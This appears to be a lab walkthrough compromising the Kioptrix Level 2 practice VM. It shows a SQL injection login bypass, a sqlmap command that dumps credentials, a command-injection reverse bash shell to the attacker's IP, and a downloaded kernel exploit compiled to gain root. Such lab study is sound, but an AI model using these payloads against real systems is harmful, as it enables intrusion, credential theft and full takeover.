SQLMAP DUMP PASSWORD (SQL INJECTION)

REVERSE BASH SHELL

CENTOS LOCAL PRIVESC

```
PORT STATE SERVICE VERSION
22/tcp open ssh
                   OpenSSH 3.9p1 (protocol 1.99)
ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/https?
_ssl-date: 2020-06-08T11:49:09+00:00; -3h09m36s from scanner time.
sslv2:
| SSLv2 supported
| ciphers:
SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
SSL2_RC4_128_WITH_MD5
SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
```

MAC Address: 00:0C:29:E6:41:75 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.30 Network Distance: 1 hop Host script results: |_clock-skew: -3h09m36s TRACEROUTE HOP RTT ADDRESS 1 0.78 ms kiop2 (192.168.2.254 Username=admin Password='or'a'='a sqlmap -u "http://192.168.2.254/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" --level=5 --risk=3 | id | username | password | +----+ | 1 | admin | 5afac8d85f | | 2 | john | 66lajGGbla |

3306/tcp open mysql MySQL (unauthorized)

```
REVERSE BASH SHELL
```

root@kali:/home/kali/Desktop/vulnhub/kiop2# tcpdump -i eth0 icmp

PING WORKED!!!

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

127.0.0.1; bash -i >& /dev/tcp/192.168.2.165/443 0>&1

root@kali:/home/kali/Desktop/vulnhub/kiop2# nc -nlvp 443

SHELL GAINED!!!!!

bash-3.00\$ uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

bash-3.00\$ uname -mrs

Linux 2.6.9-55.EL i686

bash-3.00\$ cat /etc/redhat-release

CentOS release 4.5 (Final)

cat /proc/version

rpm -q centos-release

centos-release-4-4.3

root@kali:/home/kali/Desktop/tools# searchsploit centos 4.5

Linux Kernel 2.6 < 2.6.19 (White Box 4 / | linux_x86/local/9542.c

root@kali:/home/kali/Desktop/vulnhub/kiop2# cp

/usr/share/exploitdb/exploits/linux_x86/local/9542.c.

root@kali:/home/kali/Desktop/vulnhub/kiop2# python -m SimpleHTTPServer 80

bash-3.00\$ wget 192.168.2.165/9542.c

bash-3.00\$ which gcc

/usr/bin/gcc

bash-3.00\$ gcc 9542.c -o akg

bash-3.00\$ chmod +x akg

bash-3.00\$./akg

sh-3.00# whoami

root

ROOTED!!!